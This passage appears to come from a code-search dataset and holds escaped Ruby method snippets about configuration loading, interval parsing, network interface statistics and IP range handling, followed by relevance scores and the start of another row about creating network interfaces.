@config['name'] }\n end\n\n @config['cluster']['provision'] ||= {}\n\n if defaults && defaults.key?('provision')\n @config['cluster']['provision'].merge!(\n defaults['provision']\n )\n end\n\n ################################################################\n # Hosts\n ################################################################\n\n if @config['hosts']\n sections = ['connection', 'provision', 'configuration']\n\n @config['hosts'].map! do |host|\n sections.each do |section|\n data = CONFIG_DEFAULTS[section] || {}\n\n if @config['defaults']\n defaults = @config['defaults'][section]\n end\n\n h_sec = host[section]\n\n # merge defaults with globals\n # and device specific params\n data.merge!(defaults) unless defaults.nil?\n data.merge!(h_sec) unless h_sec.nil?\n\n host[section] = data\n end\n\n host\n end\n end\n\n ################################################################\n # Datastores & Networks\n ################################################################\n\n ['datastores', 'networks'].each do |r|\n next unless @config[r]\n\n @config[r].map! do |x|\n x['provision'] ||= {}\n\n if defaults && defaults.key?('provision')\n x['provision'].merge!(defaults['provision'])\n end\n\n x\n end\n end\n\n # Add provision ID into ARs to evaluate it later\n if @config['networks']\n @config['networks'].each do |vnet|\n next unless vnet['ar']\n\n unless vnet['ar'].is_a? Array\n raise 'ar should be an array'\n end\n\n vnet['ar'].each do |ar|\n ar['provision_id'] = '${provision_id}'\n end\n end\n end\n\n ################################################################\n # User inputs\n ################################################################\n return unless eval_ui\n\n eval_user_inputs\n rescue StandardError => e\n Utils.fail(\"Failed to read configuration: #{e}\")\n end\n end", "def parse_lacp_timeout(config)\n mdata = /lacp fallback timeout (\\d+)$/.match(config)\n return { lacp_timeout: [] } unless defined? mdata[1]\n { lacp_timeout: mdata[1] }\n end", "def intervals\n parts = {}\n [:minute, :hour, :day, :month, :day_of_week].each do |granularity|\n if times = times_for(granularity)\n parts[granularity] = times\n end\n end\n\n merged_product parts\n # interval_list.concat times.map {|t| {granularity => t} }\n # m = expression[:minute]\n # m.split(\",\").each do |part|\n # time, divisor = part.split(\"/\")\n # start_time, end_time = time.split \"-\"\n\n # interval_list << {:minute => start_time.to_i}\n # end\n end", "def reload\n\t\treturn false unless @loader && @name\n\n\t\t# Even if reloading fails, reset the creation time so we don't keep\n\t\t# trying to reload a broken config\n\t\tself.create_time = Time.now\n\n\t\tconfighash = @loader.load( @name )\n\t\tihash = internify_keys( untaint_values(confighash) )\n\t\tmergedhash = DEFAULTS.merge( ihash, &HashMergeFunction )\n\n\t\t@struct = ConfigStruct.new( mergedhash )\n\n\trescue => err\n\t\tself.log.error \"Error while trying to reload the config: %s\" % err.message\n\t\terr.backtrace.each {|frame| self.log.debug \" \" + frame }\n\n\t\treturn false\n\telse\n\t\treturn true\n\tend", "def query_load\n send(\"QUERY_LOAD\")\n response = recv\n { :one_minute => response[0].to_f, :five_minute => response[1].to_f, :fifteen_minute => response[2].to_f }\n end", "def interval=(interval)\n if interval.nil?\n fail ArgumentError, 'invalid value for \"interval\", interval cannot be nil.'\n end\n @interval = interval\n end", "def base_config\n if engine_config.config\n ::HamlLint::ConfigurationLoader.load_file(engine_config.config)\n else\n ::HamlLint::ConfigurationLoader.load_applicable_config\n end\n end", "def ipv4_interval=(arr)\n interval, min_rx, multiplier = arr\n set_args_keys(interval: interval, min_rx: min_rx, multiplier: multiplier,\n state: arr == default_ipv4_interval ? 'no' : '')\n config_set('bfd_global', 'ipv4_interval', @set_args)\n end", "def load_configuration\n @config = {\n :start_date => Date.today - 1,\n :data_dir => default_data_dir\n }\n\n if File.exist?(config_file)\n @config = YAML.load_file(config_file)\n end\n\n @config\n end", "def parse_source_interface\n mdata = /(?<=^ntp\\ssource\\s)(.+)$/.match(config)\n { source_interface: mdata.nil? ? DEFAULT_SRC_INTF : mdata[1] }\n end", "def brokerFetchInterval(symbol, \n interval=nil,\n days=nil, \n startTime=nil, \n endTime=nil, eos=true, &block)\n puts \"brokerFetchInterval() for %s\" % symbol\n soc = dtnsoc\n if days\n soc.puts [HID, symbol, interval, days, nil, nil, nil, 1].join ','\n elsif startTime and endTime\n cmd = [HIT, symbol, interval,\n startTime.strftime(FDT), \n endTime.strftime(FDT), \n nil, # reserved\n nil, nil, # begin and end filter time\n 1].join ','\n puts \"Time %s to %s, cmd = %s\" % [startTime, endTime, cmd]\n soc.puts cmd\n else # parameter problem\n raise IQFeedException.new(\"Parameter Error. Either days or start/end time must be given\")\n end\n getResponse(soc) { |d|\n block.(d.map { |r|\n h = Hash[r.zip(@@HIST).map { |v, (sym, func)| [sym, func.(v)]}]\n h[:symbol] = symbol.to_sym\n h = h.to_eos if eos\n h\n }) \n }\n end", "def refresh_interval\n @refresh_interval ||= options[:refresh_interval] || REFRESH_INTERVAL\n end", "def refresh_interval\n @refresh_interval ||= options[:refresh_interval] || REFRESH_INTERVAL\n end", "def refresh_interval\n @refresh_interval ||= options[:refresh_interval] || REFRESH_INTERVAL\n end", "def interval_value\n if interval.parts.is_a? Array\n interval.parts[0][1]\n else\n interval.parts.values[0]\n end\n end", "def get_plug_avgLoad(s_i, h_id = house_id, hh_id = household_id, p_id = plug_id)\n query = \"SELECT load FROM AveragePlugLoads WHERE house_id = %d \" \\\n \"AND household_id = %d \"\\\n \"AND plug_id = %d \"\\\n \"AND slice_index = %d\" % [h_id, hh_id, p_id, s_i]\n results = execute_query(query)\n if results.count != 1\n puts \"Invalid number of results for slice_index (#{s_i})! #{results.map{|r| [r]}}\"\n raise Exception\n end\n load = results.first[\"load\"]\n puts \"EXECUTED: #{query}, GOT #{load}\" if DEBUG\n load\n end", "def initialize(*args)\n extend RSchedUtil\n\n yield self if block_given?\n\n if (args[0] != nil)\n conf = args[0]\n else\n conf = Hash.new\n end\n\n raise ArgumentError, \"Argument is not a hash! #{conf.class} #{conf}\" if conf.class != Hash\n\n # We're a valid job unless we run into some condition\n self.valid = true\n\n if conf.has_key?(:jobid)\n parse_job_by_id conf\n end\n end", "def load_config(file_path, overrides = [])\n parser = INI::Parser.new(file_path, overrides)\n parser.process_file\n INI::ConfigObject.new(parser.config_vals)\nend", "def load_config(file_path, overrides=[])\n\t\n\t\t#validate path.\n\t\tif file_path.nil? or not File.exist?(file_path)\n\t\t\traise 'Provide valid file path '# << file_path\n\t\tend\n\t\t\n\t\t#empty hash for final result.\n\t\tresult = {}\n\t\t\n\t\t#set globals to nil/ new set\n\t\t$current_group = nil\n\t\t$overridden = Set.new\n\t\t\n\t\t#after searching, I found that converting the symbols to strings was easier to do while comparing keys. I am injecting override.to_s here.\n\t\t#http://findnerd.com/list/view/Converting-string-to-symbol--symbol-to-string-in-rails/13647/\n\t\toverrides = overrides.inject([]) {|value, override|value << override.to_s}\n\t\t\n\t\tFile.foreach(file_path) do |line|\n\t\t\tunless line\n\t\t\t\tnext\n\t\t\tend\n\t\t\tprocess_line(line, overrides, result)\n\t\tend\n\t\t\n\t\t#returning result as an OpenStruct as it has a O(1) look up complexity. Since question mentioned quick query, I found this might be the a good structure instead of a Hash which still needs string/symbol comparison for keys.\n\t\t#http://stackoverflow.com/questions/1177594/when-should-i-use-struct-vs-openstruct\n\t\tOpenStruct.new(result)\n\tend", "def load_per_cpu(_)\n cpu_per_source = {}\n @client.query(\n '(count(node_cpu{mode=\"system\"})by(instance))'\n ).each do |result|\n source = result['metric']['instance']\n cpu_per_source[source] = result['value'][1]\n end\n\n metrics = []\n @client.query('node_load5').each do |result|\n source = result['metric']['instance']\n value = result['value'][1].to_f.round(2)\n load_on_cpu = value / cpu_per_source[source].to_f\n log.debug(\n \"[load_per_cpu] value: '#{load_on_cpu}', source: '#{source}'\"\n )\n metrics << {\n 'source' => source,\n 'value' => load_on_cpu\n }\n end\n metrics\n end", "def load_config\n @log.debug \"loading validator-specific configuration\"\n config = Autosign::Config.new\n\n if config.settings.to_hash[self.name].nil?\n @log.warn \"Unable to load validator-specific configuration\"\n @log.warn \"Cannot load configuration section named '#{self.name}'\"\n return {}\n else\n @log.debug \"Set validator-specific settings from config file: \" + config.settings.to_hash[self.name].to_s\n return config.settings.to_hash[self.name]\n end\n end", "def parse_interval_samples\n interval_samples = Array.new\n headers_index = @_interval_sample_index\n headers = @data[headers_index].map!(&:underscore)\n data_index = headers_index + 1\n @data[data_index,@data.size].map.with_index do |r,i|\n if r.empty?\n break\n else\n zipped = headers.zip(@data[data_index + i])\n s = WFCSVWorkoutIntervalSample.new\n Hash[zipped].map { |k,v|\n s.instance_variable_set(\"@#{k}\",v)\n }\n end\n interval_samples.push(s)\n end\n return interval_samples\n end", "def fabricpath_interval\n config_get('bfd_global', 'fabricpath_interval', @get_args)\n end", "def parse\n result = {}\n content = file_content\n\n s = content.index(BLOCK_START_DELIMITER)\n e = content.index(BLOCK_END_DELIMITER)\n\n while s && e\n s += BLOCK_START_DELIMITER.size\n block = content[s..e-1]\n\n key, value = parse_block(block)\n result[key] = value\n\n e += BLOCK_END_DELIMITER.size\n content = content[e..-1]\n\n s = content.index(BLOCK_START_DELIMITER)\n e = content.index(BLOCK_END_DELIMITER)\n end\n\n return result\n end", "def full_load_hours\n @full_load_hours ||\n if output_capacity_per_unit.zero? || number_of_units.zero?\n 0.0\n else\n production / (output_capacity_per_unit * number_of_units * 3600)\n end\n end", "def get_best_block\n synced = self.loader_status_sync\n if synced[\"success\"]\n return synced[\"height\"]\n else\n return nil\n end\n end", "def valid_intervals\n VALID[:interval]\n end", "def new_load_schedule\n @worker_method_triggers = { }\n @my_schedule.each do |key,value|\n case value[:trigger_args]\n when String\n cron_args = value[:trigger_args] || \"0 0 0 0 0\"\n trigger = BackgrounDRb::CronTrigger.new(cron_args)\n @worker_method_triggers[key] = { :trigger => trigger,:data => value[:data],:runtime => trigger.fire_after_time(Time.now).to_i }\n when Hash\n trigger = BackgrounDRb::Trigger.new(value[:trigger_args])\n @worker_method_triggers[key] = { :trigger => trigger,:data => value[:trigger_args][:data],:runtime => trigger.fire_after_time(Time.now).to_i }\n end\n end\n end", "def hbrecv_interval\n @connection.hbrecv_interval\n end", "def reload_time\n @reload_time || START_TIME\n end", "def parse_rr_job(file_path)\n result = Result.create(:main)\n file = open_file(file_path)\n config = JSON.parse(file.read)\n unless config['Crawling']\n puts \"'Crawling' section not found into rr-job.\"\n return\n end\n config['Crawling'].each do |section|\n parse_section(section, result)\n end\n result\n end", "def refresh_interval=(refresh_interval)\n if !refresh_interval.nil? && refresh_interval > 999\n fail ArgumentError, 'invalid value for \"refresh_interval\", must be smaller than or equal to 999.'\n end\n if !refresh_interval.nil? && refresh_interval < 0\n fail ArgumentError, 'invalid value for \"refresh_interval\", must be greater than or equal to 0.'\n end\n @refresh_interval = refresh_interval\n end", "def set_log_load_time\n @log_load_time = LogLoadTime.find(params[:id])\n end", "def get_block_health\n healthy = self.loader_status_ping\n return healthy[\"success\"]\n end", "def load_hash\n ifconfig = {}\n aliases = []\n addrs = []\n\n # Initially, the IP and IP6 has not been set. This helps track whether\n # we are creating aliases or the first of the addresses.\n ip6set = false\n ipset = false\n\n process_addresses(@addresses) {|addr|\n if addr =~ /DHCP/\n addrs << addr\n elsif addr =~ /inet6 /\n if ip6set\n aliases << addr\n else\n addrs << addr\n ip6set = true\n end\n elsif addr =~ /inet /\n if ipset\n aliases << addr\n else\n addrs << addr\n ipset = true\n end\n else\n raise ArgumentError(\"unhandled address family\")\n end\n }\n\n # append the options to the first address\n opts = options_string()\n\n if addrs.size > 0\n ifconfig[:addrs] = addrs\n\n if opts and opts.size > 0\n ifconfig[:addrs][0] = [ifconfig[:addrs][0],opts].join(' ')\n end\n else\n if opts and opts.size > 0\n ifconfig[:addrs] = options_string()\n end\n end\n\n if aliases.size > 0\n ifconfig[:aliases] = aliases\n end\n\n {@name.to_sym => ifconfig}\n end", "def parse_global_timeout\n timeout = config.scan(/tacacs-server timeout (\\d+)/).first\n { timeout: timeout.first.to_i }\n end", "def remote_sync_interval\n @attributes[:remote_sync_interval]\n end", "def parse!\n self.interface_stats = Hash.new { |hash,key| hash[key] = {} }\n \n interface_names = Hash[self.raw_output.scan(/IF-MIB::ifDescr.(\\d+) = STRING: (\\w+)/m)]\n interface_types = Hash[self.raw_output.scan(/IF-MIB::ifType.(\\d+) = INTEGER: ([a-zA-Z0-9\\(\\)]+)/)]\n mac_addresses = Hash[self.raw_output.scan(/IF-MIB::ifPhysAddress.(\\d+) = STRING: ([0-9a-f:]+)/)]\n \n link_states = Hash[self.raw_output.scan(/IF-MIB::ifOperStatus.(\\d+) = INTEGER: (\\w+)\\(\\d\\)/)]\n octets_in = Hash[self.raw_output.scan(/IF-MIB::ifInOctets.(\\d+) = Counter32: (\\d+)/)]\n octets_out = Hash[self.raw_output.scan(/IF-MIB::ifOutOctets.(\\d+) = Counter32: (\\d+)/)]\n errors_in = Hash[self.raw_output.scan(/IF-MIB::ifInErrors.(\\d+) = Counter32: (\\d+)/)]\n errors_out = Hash[self.raw_output.scan(/IF-MIB::ifOutErrors.(\\d+) = Counter32: (\\d+)/)]\n \n interface_names.keys.each do |index|\n self.interface_stats[index][:name] = interface_names[index]\n self.interface_stats[index][:type] = interface_types[index]\n self.interface_stats[index][:mac] = mac_addresses[index]\n self.interface_stats[index][:in] = octets_in[index].to_i\n self.interface_stats[index][:out] = octets_out[index].to_i\n self.interface_stats[index][:errors_in] = errors_in[index].to_i\n self.interface_stats[index][:errors_out] = errors_out[index].to_i\n self.interface_stats[index][:up] = link_states[index] == \"up\"\n end\n \n self.interface_stats\n end", "def full_load_hours\n @producer.node_api.full_load_hours\n end", "def set_interval_defaults\n Interval::Config.configure do |config|\n config.alias = nil\n config.controller = params[:controller]\n config.action = params[:action]\n end\n end", "def parse_config(config); end", "def populate\n response = @connection.lbreq(\"GET\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@id.to_s)}\",@lbmgmtport,@lbmgmtscheme)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n data = JSON.parse(response.body)['loadBalancer']\n @id = data[\"id\"]\n @name = data[\"name\"]\n @protocol = data[\"protocol\"]\n @port = data[\"port\"]\n @algorithm = data[\"algorithm\"]\n @connection_logging = data[\"connectionLogging\"][\"enabled\"]\n @status = data[\"status\"]\n @timeout = data[\"timeout\"]\n true\n end", "def work_load_config=(work_load_config)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Balanced\", \"I/O Sensitive\", \"NUMA\", \"UMA\"])\n unless validator.valid?(work_load_config)\n fail ArgumentError, \"invalid value for \\\"work_load_config\\\", must be one of #{validator.allowable_values}.\"\n end\n @work_load_config = work_load_config\n end", "def hash\n [digits, refresh_interval].hash\n end", "def get_config\n if @resource[:section]\n return node.get_config(params: \"section #{@resource[:section]}\", as_string: true)\n end\n node.running_config\n end", "def parse_interval(interval)\r\n alldays = []\r\n alltimeintervals = []\r\n interval.split(\" \").each do |token|\r\n case token\r\n when /^\\D{3}$/\r\n alldays << [DAYNAMES.index(token)]\r\n when /^\\D{3}-\\D{3}$/\r\n days = token.split(\"-\")\r\n alldays << [DAYNAMES.index(days[0]), DAYNAMES.index(days[1])]\r\n when /^\\d{4}-\\d{4}$/\r\n timeintervals = token.split(\"-\")\r\n alltimeintervals << [timeintervals[0] , timeintervals[1]]\r\n end \r\n end\r\n alldays.map { |daysFrame| TimeFrame.new(daysFrame[0], daysFrame[1], alltimeintervals) }\r\n end", "def to_sec(interval)\n interval / INTERVAL\n end", "def interval=(new_interval)\n @interval = new_interval\n self[Incident.interval_predicate] = new_interval.uri\n end", "def populateSettingValuesFromConfigMap(parsedConfig)\n begin\n if !parsedConfig.nil? && !parsedConfig[:agent_settings].nil?\n if !parsedConfig[:agent_settings][:health_model].nil? && !parsedConfig[:agent_settings][:health_model][:enabled].nil?\n @enable_health_model = parsedConfig[:agent_settings][:health_model][:enabled]\n puts \"enable_health_model = #{@enable_health_model}\"\n end\n chunk_config = parsedConfig[:agent_settings][:chunk_config]\n if !chunk_config.nil?\n nodesChunkSize = chunk_config[:NODES_CHUNK_SIZE]\n if !nodesChunkSize.nil? && is_number?(nodesChunkSize) && (@nodesChunkSizeMin..@nodesChunkSizeMax) === nodesChunkSize.to_i\n @nodesChunkSize = nodesChunkSize.to_i\n puts \"Using config map value: NODES_CHUNK_SIZE = #{@nodesChunkSize}\"\n end\n\n podsChunkSize = chunk_config[:PODS_CHUNK_SIZE]\n if !podsChunkSize.nil? && is_number?(podsChunkSize) && (@podsChunkSizeMin..@podsChunkSizeMax) === podsChunkSize.to_i\n @podsChunkSize = podsChunkSize.to_i\n puts \"Using config map value: PODS_CHUNK_SIZE = #{@podsChunkSize}\"\n end\n\n eventsChunkSize = chunk_config[:EVENTS_CHUNK_SIZE]\n if !eventsChunkSize.nil? && is_number?(eventsChunkSize) && (@eventsChunkSizeMin..@eventsChunkSizeMax) === eventsChunkSize.to_i\n @eventsChunkSize = eventsChunkSize.to_i\n puts \"Using config map value: EVENTS_CHUNK_SIZE = #{@eventsChunkSize}\"\n end\n\n deploymentsChunkSize = chunk_config[:DEPLOYMENTS_CHUNK_SIZE]\n if !deploymentsChunkSize.nil? && is_number?(deploymentsChunkSize) && (@deploymentsChunkSizeMin..@deploymentsChunkSizeMax) === deploymentsChunkSize.to_i\n @deploymentsChunkSize = deploymentsChunkSize.to_i\n puts \"Using config map value: DEPLOYMENTS_CHUNK_SIZE = #{@deploymentsChunkSize}\"\n end\n\n hpaChunkSize = chunk_config[:HPA_CHUNK_SIZE]\n if !hpaChunkSize.nil? && is_number?(hpaChunkSize) && (@hpaChunkSizeMin..@hpaChunkSizeMax) === hpaChunkSize.to_i\n @hpaChunkSize = hpaChunkSize.to_i\n puts \"Using config map value: HPA_CHUNK_SIZE = #{@hpaChunkSize}\"\n end\n\n podsEmitStreamBatchSize = chunk_config[:PODS_EMIT_STREAM_BATCH_SIZE]\n if !podsEmitStreamBatchSize.nil? && is_number?(podsEmitStreamBatchSize) &&\n podsEmitStreamBatchSize.to_i <= @podsChunkSize && podsEmitStreamBatchSize.to_i >= @podsEmitStreamBatchSizeMin\n @podsEmitStreamBatchSize = podsEmitStreamBatchSize.to_i\n puts \"Using config map value: PODS_EMIT_STREAM_BATCH_SIZE = #{@podsEmitStreamBatchSize}\"\n end\n nodesEmitStreamBatchSize = chunk_config[:NODES_EMIT_STREAM_BATCH_SIZE]\n if !nodesEmitStreamBatchSize.nil? && is_number?(nodesEmitStreamBatchSize) &&\n nodesEmitStreamBatchSize.to_i <= @nodesChunkSize && nodesEmitStreamBatchSize.to_i >= @nodesEmitStreamBatchSizeMin\n @nodesEmitStreamBatchSize = nodesEmitStreamBatchSize.to_i\n puts \"Using config map value: NODES_EMIT_STREAM_BATCH_SIZE = #{@nodesEmitStreamBatchSize}\"\n end\n end\n # fbit config settings\n fbit_config = parsedConfig[:agent_settings][:fbit_config]\n if !fbit_config.nil?\n fbitFlushIntervalSecs = fbit_config[:log_flush_interval_secs]\n if !fbitFlushIntervalSecs.nil? && is_number?(fbitFlushIntervalSecs) && fbitFlushIntervalSecs.to_i > 0\n @fbitFlushIntervalSecs = fbitFlushIntervalSecs.to_i\n puts \"Using config map value: log_flush_interval_secs = #{@fbitFlushIntervalSecs}\"\n end\n\n fbitTailBufferChunkSizeMBs = fbit_config[:tail_buf_chunksize_megabytes]\n if !fbitTailBufferChunkSizeMBs.nil? && is_number?(fbitTailBufferChunkSizeMBs) && fbitTailBufferChunkSizeMBs.to_i > 0\n @fbitTailBufferChunkSizeMBs = fbitTailBufferChunkSizeMBs.to_i\n puts \"Using config map value: tail_buf_chunksize_megabytes = #{@fbitTailBufferChunkSizeMBs}\"\n end\n\n fbitTailBufferMaxSizeMBs = fbit_config[:tail_buf_maxsize_megabytes]\n if !fbitTailBufferMaxSizeMBs.nil? && is_number?(fbitTailBufferMaxSizeMBs) && fbitTailBufferMaxSizeMBs.to_i > 0 \n if fbitTailBufferMaxSizeMBs.to_i >= @fbitTailBufferChunkSizeMBs\n @fbitTailBufferMaxSizeMBs = fbitTailBufferMaxSizeMBs.to_i\n puts \"Using config map value: tail_buf_maxsize_megabytes = #{@fbitTailBufferMaxSizeMBs}\"\n else\n # tail_buf_maxsize_megabytes has to be greater or equal to tail_buf_chunksize_megabytes\n @fbitTailBufferMaxSizeMBs = @fbitTailBufferChunkSizeMBs\n puts \"config::warn: tail_buf_maxsize_megabytes must be greater or equal to value of tail_buf_chunksize_megabytes. Using tail_buf_maxsize_megabytes = #{@fbitTailBufferMaxSizeMBs} since provided config value not valid\"\n end\n end\n # in scenario - tail_buf_chunksize_megabytes provided but not tail_buf_maxsize_megabytes to prevent fbit crash\n if @fbitTailBufferChunkSizeMBs > 0 && @fbitTailBufferMaxSizeMBs == 0\n @fbitTailBufferMaxSizeMBs = @fbitTailBufferChunkSizeMBs\n puts \"config::warn: since tail_buf_maxsize_megabytes not provided hence using tail_buf_maxsize_megabytes=#{@fbitTailBufferMaxSizeMBs} which is same as the value of tail_buf_chunksize_megabytes\"\n end \n\n fbitTailMemBufLimitMBs = fbit_config[:tail_mem_buf_limit_megabytes]\n if !fbitTailMemBufLimitMBs.nil? && is_number?(fbitTailMemBufLimitMBs) && fbitTailMemBufLimitMBs.to_i > 0\n @fbitTailMemBufLimitMBs = fbitTailMemBufLimitMBs.to_i\n puts \"Using config map value: tail_mem_buf_limit_megabytes = #{@fbitTailMemBufLimitMBs}\"\n end\n end\n end\n rescue => errorStr\n puts \"config::error:Exception while reading config settings for agent configuration setting - #{errorStr}, using defaults\"\n @enable_health_model = false\n end\nend", "def parse_hash\n \thash = {}\n \t# Remove the first five lines of the file\n \ttemp_array = @readin[5, @readin.length]\n \t# Split the input at the semicolon: the left hand side is a timestamp and the right hand side\n \t# is the value (either power in W, or energy in Wh depending on the file type).\n \t# This is committed to a hash with time as the key and the W/Wh as the value.\n \ttemp_array.each do |s|\n \t\tk,v = s.split(/;/)\n \t\t# the Aurora reports time as seconds since 1/1/0000 and Ruby reports time utilizing an epoch\n \t\t# that began on 1/1/1970. The time stamp is adjusted for the time in seconds between these\n \t\t# two dates.\n \t\thash[Time.at(k.to_i - 62167104000)] = v.to_f\n \tend\n \treturn hash\n end", "def config_load(config); end", "def ipv6_interval=(arr)\n interval, min_rx, multiplier = arr\n set_args_keys(interval: interval, min_rx: min_rx, multiplier: multiplier,\n state: arr == default_ipv6_interval ? 'no' : '')\n config_set('bfd_global', 'ipv6_interval', @set_args)\n end", "def parse(line)\n entry = line.chomp.split(\"\\t\")\n raise EntryFileError, \"Invalid interval entry\" if entry.length < min_num_columns\n Genomics::Interval.new(entry[@chr_col-1], entry[@start_col-1].to_i, entry[@stop_col-1].to_i)\n end", "def parse_range r\n if m = $IPA.match(r)\n a = digits_to_int m[1], 0, 0, 0\n b = digits_to_int m[1], 255, 255, 255\n elsif m = $IPB.match(r)\n a = digits_to_int m[1], m[2], 0, 0\n b = digits_to_int m[1], m[2], 255, 255\n elsif m = $IPC.match(r)\n a = digits_to_int m[1], m[2], m[3], 0\n b = digits_to_int m[1], m[2], m[3], 255\n elsif m = $IPD.match(r)\n a = digits_to_int m[1], m[2], m[3], m[4]\n b = a\n elsif m = $IPRANGE.match(r)\n a = digits_to_int m[1], m[2], m[3], m[4]\n b = digits_to_int m[5], m[6], m[7], m[8]\n elsif m = $CIDR.match(r)\n ip = digits_to_int m[1], m[2], m[3], m[4]\n bits = m[5].to_i\n lobits = (2 ** (32-bits)) - 1\n hibits = (0xffffffff) ^ lobits\n\n a = ip & hibits\n b = a | lobits\n else\n raise \"can't parse IP range #{r.inspect}\"\n end\n [a, b]\nend", "def load_file(definition)\n paths = definition.file\n\n paths.each do |path|\n ext = file_module.extname(path).strip.downcase[1..-1]\n parse_method = \"parse_#{ext}\"\n unless respond_to?(parse_method)\n fail \"extension (#{ext}), for (#{definition.key}: #{path}) \" +\n \"is not valid, only yaml and json are supported\"\n end\n\n if file_module.exists?(path)\n config = public_send(parse_method, path)\n unless config.is_a?(Hash)\n fail \"[config #{parse_method}] config must be a hash\"\n end\n config.deep_symbolize_keys!\n return config[definition.key]\n end\n end\n\n list = paths.join(',')\n fail \"none of :#{definition.key} config files exist at (#{list})\"\n end", "def parse!\n cur_net = nil\n File.readlines(@path).each do |line|\n if(line.start_with?('lxc.network'))\n parts = line.split('=')\n name = parts.first.split('.').last.strip\n if(name.to_sym == :type)\n @network << cur_net if cur_net\n cur_net = Mash.new\n end\n if(cur_net)\n cur_net[name] = parts.last.strip\n else\n raise \"Expecting 'lxc.network.type' to start network config block. Found: 'lxc.network.#{name}'\"\n end\n else\n parts = line.split('=')\n name = parts.first.sub('lxc.', '').strip\n if(@base[name])\n @base[name] = [@base[name], parts.last.strip].flatten\n else\n @base[name] = parts.last\n end\n end\n end\n @network << cur_net if cur_net\n true\n end", "def max_interval\n MAX_INTERVAL\n end", "def refresh_interval_param(seconds)\n return nil unless seconds\n \"refreshInterval:(display:'#{seconds}%20seconds',\" \\\n \"pause:!f,section:1,value:#{seconds * 1000})\"\n end", "def parse_config\n @parsed_hash = Settings.load! @config_file\n validate @parsed_hash\n HadoopConfigParser.new(HADOOP_CONF, @log, @debug)\n HBaseConfigParser.new(HBASE_CONF, @log, @debug)\n unless @errors_count == 0\n @log.error \"Number of Errors: #{@errors_count}\"\n @log.error 'Parsing config file ... ' + '[Failed]'.red\n raise(Ankus::Errors::ParseError.new(\"\\rParsing Configuration Failed\".red))\n end\n create_req_files\n @parsed_hash\n rescue Ankus::Errors::ParseError, Ankus::Errors::ParseError::NoKey\n @log.error \"#{$!.message} (#{$!.class})\"\n exit\n rescue\n @log.error \"#{$!.message} (#{$!.class})\"\n puts $@ if @debug\n exit\n end", "def update_current_plug_load\n set_instantaneous_plug_load(timestamp, value)\n\n s_i = slice_index\n load = calculate_plug_avgLoad(s_i)\n set_plug_avgLoad(s_i, load)\n\n # invalidate any future slices (none should exist; do a sanity check)\n invalidate_future_results\n end", "def load_network_conf\n current_cfg = networks_base\n\n new_cfg = load_network_yml\n\n attributes_cfg = node['vnet_part']['networks'].to_hash if node['vnet_part']['networks']\n new_cfg = ::Chef::Mixin::DeepMerge.deep_merge(attributes_cfg, new_cfg) if attributes_cfg\n\n ::Chef::Mixin::DeepMerge.deep_merge(new_cfg, current_cfg)\nend", "def handle_tslb\n { tslb: (Time.now - @node.last_block_time).to_i }\n end", "def load_config( name )\n config = INI.load_file( name )\n config\nend", "def initialize(load_path: LOAD_PATH)\n @load_path = load_path\n end" ]
[ "0.5499027", "0.54776305", "0.5121923", "0.4993298", "0.49832976", "0.4868855", "0.48651206", "0.48361558", "0.47895375", "0.47875324", "0.4722555", "0.47162768", "0.47151795", "0.47017127", "0.46618813", "0.46329266", "0.4630479", "0.45713863", "0.45473245", "0.45102626", "0.45102626", "0.44954646", "0.44916794", "0.4490018", "0.44801128", "0.44551957", "0.44351074", "0.43438172", "0.43139052", "0.43054417", "0.42678702", "0.42493388", "0.42375448", "0.422695", "0.42109364", "0.42044267", "0.41970447", "0.41921538", "0.41747454", "0.41739124", "0.41625366", "0.41612193", "0.4147352", "0.41406202", "0.41261277", "0.41189924", "0.4113083", "0.4113083", "0.4113083", "0.410647", "0.4099617", "0.40943587", "0.4086886", "0.4082472", "0.40702707", "0.40682855", "0.40622973", "0.40363327", "0.40286505", "0.40280917", "0.40185443", "0.40165275", "0.4016362", "0.40156838", "0.400171", "0.399973", "0.3998968", "0.39967477", "0.3991489", "0.39910352", "0.39902583", "0.39755926", "0.39742163", "0.3971356", "0.39708757", "0.39495552", "0.3946824", "0.39359835", "0.3928722", "0.39272717", "0.39252493", "0.39244324", "0.3923553", "0.39169362", "0.39156908", "0.39126438", "0.39112717", "0.39087954", "0.3907097", "0.39049384", "0.3903364", "0.38967115", "0.38935152", "0.38916057", "0.38909224", "0.38855678", "0.3884456", "0.38793012", "0.38788396" ]
0.77463895
1
create will create a new IP interface on the node. If the ip interface already exists in the configuration, this method will still return successful. This method will cause an existing layer 2 interface (switchport) to be deleted if it exists in the node's configuration.
def create(name) configure(["interface #{name}", 'no switchport']) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create(name)\n configure [\"interface #{name}\", 'no ip address', 'switchport']\n end", "def create\n\t\t\t@subnet_id = Net::HTTP.get(URI.parse(\"#{URL}network/interfaces/macs/#{@macs_arr.first}/subnet-id\"))\n\t\t\tresp = ec2.create_network_interface(subnet_id: \"#{@subnet_id}\")\n\t\t\t@network_interface_id = resp[:network_interface][:network_interface_id]\n\t\t\tputs \"created interface with id #{@network_interface_id}\"\n\t\tend", "def create_test_interface\n cmd_out = `VBoxManage hostonlyif create`\n network_description = cmd_out.match(/.*'(.*)'.*/).captures[0]\n `VBoxManage.exe hostonlyif ipconfig \\\"#{network_description}\\\" --ip #{TEST_IP}`\n sleep 3\n network_description\n end", "def create_test_interface\n cmd_out = `VBoxManage hostonlyif create`\n network_description = cmd_out.match(/.*'(.*)'.*/).captures[0]\n `VBoxManage.exe hostonlyif ipconfig \\\"#{network_description}\\\" --ip #{TEST_IP}`\n sleep 3\n network_description\n end", "def create_host_only_network(options)\n # Create the interface\n execute(\"hostonlyif\", \"create\") =~ /^Interface '(.+?)' was successfully created$/\n name = $1.to_s\n\n # Configure it\n execute(\"hostonlyif\", \"ipconfig\", name,\n \"--ip\", options[:ip],\n \"--netmask\", options[:netmask])\n\n # Return the details\n return {\n :name => name,\n :ip => options[:ip],\n :netmask => options[:netmask]\n }\n end", "def action_create\n opts = generate_command_opts\n if opts.any?\n if current_resource.exists?\n converge_by(\"edit l2interface #{new_resource.name} will be modified\") do\n command = \"netdev l2interface edit #{new_resource.l2_interface_name} \"\n command << opts.join(' ')\n execute_command(command)\n end\n else\n converge_by(\"L2interface #{new_resource.name} will be created\") do\n command = \"netdev l2interface create #{new_resource.l2_interface_name} \"\n command << opts.join(' ')\n execute_command(command)\n end\n end\n end\n end", "def interfacesCreate(node)\n 